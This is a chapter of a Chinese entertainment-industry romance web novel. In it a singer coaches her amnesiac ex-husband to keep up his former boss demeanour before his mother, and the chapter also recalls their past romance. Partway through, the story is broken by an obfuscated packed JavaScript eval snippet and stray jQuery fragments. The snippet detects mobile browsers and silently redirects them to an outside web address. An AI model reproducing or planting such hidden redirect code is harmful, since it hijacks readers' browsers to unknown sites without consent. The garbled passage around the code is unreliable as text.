7. 真心的赏味期限是多少年

作品:《碎月光[娱乐圈]

    Yvonne和诗汶从明蔚家中离开后,诗汶才犹豫地问起:“刚刚那位是姐姐前夫吧?怎么会……和你们一起回来?”


    她今年才进明蔚团队,此前只是看新闻见过沈遐照片。


    “是啊,就是他。”Yvonne说,“正巧来了香港。你旷工,就让他帮个忙咯。”


    诗汶咋舌道:“他不是大老板吗?还有空做这些……他和姐姐要复合?”


    Yvonne赶紧看她一眼:“不该问的别问,怎么会想到这个?”


    诗汶缩了缩脖子,音量放小:“很难说嘛。虽然当年他们结婚,大家都说姐姐是看中钱,我看也未必嘛!前姐夫人长那么帅,应该是有真感情。”


    “你判断感情只看外貌?”Yvonne被这丫头说得哭笑不得。


    诗汶也是胆子大了,拉住Yvonne手臂,说:“Yvonne姐,你不能讲讲?”


    Yvonne摇了摇头,含糊地回答她:“感情总归是有的。”


    早先明蔚应当不知道沈遐家世。


    Yvonne第一回见沈遐,是一场单方面的碰面。


    Yvonne接明蔚去工作,后者给她发来一家冰室地址。情侣二人座位邻窗,她在路上就瞥见他们。


    沈遐本科刚毕业,卜卜脆的年纪,脸嫩得可以,五官深,发色和瞳色又比寻常人浅,温软多情的长相。


    隔着一层玻璃,明蔚断断续续说着什么,眼睛睁得大而圆,像是训人,沈遐在对面讨好地笑,身体放低一些去哄她,手上漫不经心地捣着冻柠茶的柠檬。


    冰室座位逼仄,桌子本就没多大,两人腿都长,硬是挤在狭小的座位里面,几乎是腿贴着腿。


    Yvonne发了条消息过去。


    明蔚的手机就放在桌上,屏幕亮了亮,明蔚低头看过,拎起包起身:“我经纪人到了,先走了。”


    “等等。”沈遐喊住她,点了点自己唇边,“这里沾到了。”


    明蔚拿纸巾揩了一下:“还有吗?”


    沈遐摇头笑了下,招手示意她靠过来些。


    于是明蔚走两步到桌边,上身前倾,把脸凑过去:“在哪里啊?”


    沈遐低头看她两秒,伸手扶住她侧脸下颌,往她嘴上亲了亲,弯起唇道:“骗你的。”


    明蔚上车时脸还是红的,欲盖弥彰地用手扇着风,说天气太热。


    Yvonne从后视镜里瞄她一眼,说:“公司不干涉艺人拍拖。”


    明蔚睁圆了眼睛看她。


    经纪人顿了顿,下一句是:“把他的联系方式给我,我想约个时间和他聊一次。”


    “至于吗,这么隆重?”明蔚压住手机不动。


    Yvonne开着车,目视前方道:“看你了,你要是和他只是玩玩,我就不管,如果是来真的,有些事还得跟他预先说清楚,你毕竟是歌手,要顾及形象的。”


    “具体要说什么?”明蔚想了下,提出要求,“你们谈的时候我要在场。”


    Yvonne未做回答,红灯。


    她刹住车,侧头与明蔚对视,随后坚定道:“不行,你不能在。”


    “为什么?”


    Yvonne抬手将明蔚上方的镜子拉下来:“你这副护犊的样子有没有搞错?我是去放狠话的,怕你和我吵起来。”


    明蔚不说话了,表情肉眼可见的不太高兴,但手上将沈遐的名片推荐了过去。


    红灯转绿,Yvonne换挡开动车子,脑壳有点痛。明蔚是个没心眼的,这种人其实不适合做艺人,藏不住事,心里有点情绪就挂在脸上,沈遐看着虽年轻,举止却像是个段位高超的人物,她担心明蔚一头热,栽进去。


    沈西屏来香港前一天,明蔚难得地收到沈遐的消息。


    短信内容简短,【加下wx。】


    他俩离婚后就互删了微信。


    明蔚想了想,不是很想做出发好友申请这个动作,于是回他,【有事就短信说吧。】


    那边从善如流:【也行。】


    下一条很快就来。


    【明天在我妈面前,能不能稍微隐瞒一下我的情况?】


    明蔚思考半秒:【怎么隐瞒,七年改三年?】


    【……】


    沈遐直接打来了电话。


    明蔚接通了,没出声,听到他带着点电流声的声音,低声说:“喂,明小姐?”


    前两天还叫她明蔚,这回有求于人,改口叫明小姐。


    “在听。”


    “是这样,因为我妈一直以来都有些焦虑的毛病,我失忆的事目前也没有拿到医生的诊断,说不清是什么病症,我想暂时先隐瞒过去。”


    “孙睿呢?”他不仅是公司秘书,沈家家事也会参与。


    “通过气了。”


    明蔚安静一会儿,听沈遐在听筒里呼吸渐急,才说:“我没意见。但是沈遐,你怎么隐瞒?破绽太多了。”


    “所以才来找你。”沈遐说,“你帮个忙,教教我怎么演出我应该有的状态。”


    下午两点。


    沈遐住的瑰丽酒店,窗外开阔海景,可惜天阴阴的,时不时还要落雨。


    孙秘书给明蔚开了门,她换了酒店拖鞋,放下包,对沈遐道:“我虽然演过戏,总归不是专业演员,和你也很久没见了,没把握。”


    瞒沈西屏若是一时半会也就罢了,联想他昨天发言,像是要持续隐瞒下去,明蔚不确定自己能帮多少。


    “想喝什么?”沈遐问。


    是人家求她,明蔚也不客气:“蜂蜜水,温的。”


    沈遐给孙睿递了个眼神,后者立刻去倒水了。


    “不要笑。”明蔚说。


    “什么?”


    “你不是要装没失忆吗?笑得少一点。”


    “我没在笑啊。”


    明蔚说:“眼睛在笑。”


    沈遐真没觉得自己在笑,硬生生地努力板起脸来。


    指导老师又不满意:“你这太装了。”


    “……”表情试图缓和一点。


    “像在拍证件照。”


    “放松一点。”


    “都说了不要笑。”


    折腾半天,沈遐疲乏地半垂了眼,表情有点放空,身体后仰一些,双手松散地交叠。


    明蔚突然皱起眉头盯了他一会儿,说:“现在像了。”


    “啊?”没反应过来。


    “不要这个‘啊?’,回到你刚才的表情!”一下子变得茫然的脸把刚才的威压和气场瞬间埋没了。


    沈遐努力回到方才的状态,明蔚上前几步看他,忽而伸手,抬起了他的下巴。


    沈遐仰视着她,有点莫名,又尽力维持着表情,不露出丝毫茫然,也不能笑。


    对视两秒后,明蔚松了手,退后半步,道:“要这个角度看人。”


    “不会不尊重人?”


    明蔚说:“必须这样。”


    作为老板,沈遐年纪太小,星沉传媒的中高层们又更信服沈西屏,他上任后要是不摆出这副姿态,就难以镇得住场面,久而久之,明蔚也熟悉了这模样。


    孙秘书在这时端着温度适宜的蜂蜜水回来,直接瞪着眼愣了一愣,说:“老板,今天没有会议啊。”


    说明工作场合这关勉强过了。


    弄清他们在干什么以后,孙秘书说:“之前您要的这六年间的公司材料,基本整理完了,今晚发给您。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616472|143453||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “辛苦了。”


    明蔚抱着双臂,转头问孙秘书:“你看看这个状态怎么样?”


    孙秘书闻言也来到明蔚身旁,打量了一番沈遐。


    沈遐:“……”


    他觉得此情此景有一点无语,但又不知如何说起。


    孙秘书说:“我认为老板的表情还要更郁闷一点。”


    “是吗?”


    “尤其是审策划案的时候。”


    明蔚想了想,说:“你把电视打开。”


    孙秘书依言照做,明蔚问他要来遥控器,在沈遐疑惑的目光中迅速切换着频道,翻到一部演员浓妆艳抹,阿宝色滤镜的古装甜宠剧,停了下来。


    孙秘书鼓掌道:“老板这个表情对了。”


    沈遐说:“……能不能把电视关了?”对他的眼睛很残忍。


    “那你记住这个感觉去上班。”


    “记得不能更深刻了。”


    明蔚将电视按灭后,没忍住还是低头笑了下,随后说:“明天见你妈不用这样。”


    “这我明白。”沈遐问,“还有哪些需要注意的?”


    明蔚在沙发旁的软椅上坐下,反问他:“你知道你为什么会接手星沉传媒吗?”


    沈遐摇了摇头。


    “我们结婚后,阿姨病了一场,做了手术。医生的建议是停止工作一整年,你家的旁系当时试图接手,她信不过他们,是你主动提出的。”


    沈遐沉默须臾,问:“是什么病?”


    “冠心病。”


    明蔚临走前,天又下起雨,沈遐送她下楼。


    见沈遐向大堂侍应生借了一把伞,她说:“我叫了车。”


    “送你上车。”


    明蔚嗯了一声,说谢谢。


    他们出了大堂,沈遐撑开伞,陪她在屋檐下等车。


    伞面宽阔,两人相隔一拳距离,井水不犯河水。雨没能完全下下来,空气燥热黏稠。


    沈遐说:“我还有个问题想问。”


    “你说。”


    “七年前我的那部电影,你说没有拍出来。”沈遐说,“但我查到了它的信息。”


    明蔚略有讶异:“你没看过内容?”


    “没有。”沈遐不知怎么不太想看,类似于成年人不敢看到自己小学作文的那种心情。


    明蔚笑了笑。


    “好吧。”她说,“那部电影……并不顺利。18年初金融监管的一些条款刚好影响到你的几家投资方,撤资了,你拖了一段时间,场地、设备、演员都没办法拖延下去,最终素材有限,干脆大改结构,剪成短片。”


    “拿了金棕榈的短片提名,但是你不大乐意大家提起这部作品,因为它已经不再是你原来想要的片子。”


    沈遐一时没作声,明蔚望着雨幕中模糊的高楼大厦:“明明本来已经学会接受了,怎么一下子又全部忘掉了?22岁的沈遐,欢迎来到现实世界。”


    “未必已经接受。”沈遐说,“在他的盘里还保存着当时的所有素材和剧本资料。”


    这是他头一回用第三人称指代失忆前的自己,明蔚有些惊诧地侧头看他。


    她不知道这回事。


    她想了想,垂下眼睛笑:“怪不得。”


    怪不得什么,她没再说下去。


    红色出租车在雨幕中前来,是她叫的那一辆。明蔚辨认出车牌,对沈遐说:“还有一点忘记说了。”


    “什么?”


    车在他们跟前缓缓停下,明蔚的高跟鞋踩出细小的水花,沈遐将伞抬高一些,亦步亦趋地在她身后撑伞。


    “明天演得像一点,不要一直看我。”


    沈遐合上车门的动作微顿,她抬眼对他笑了一下。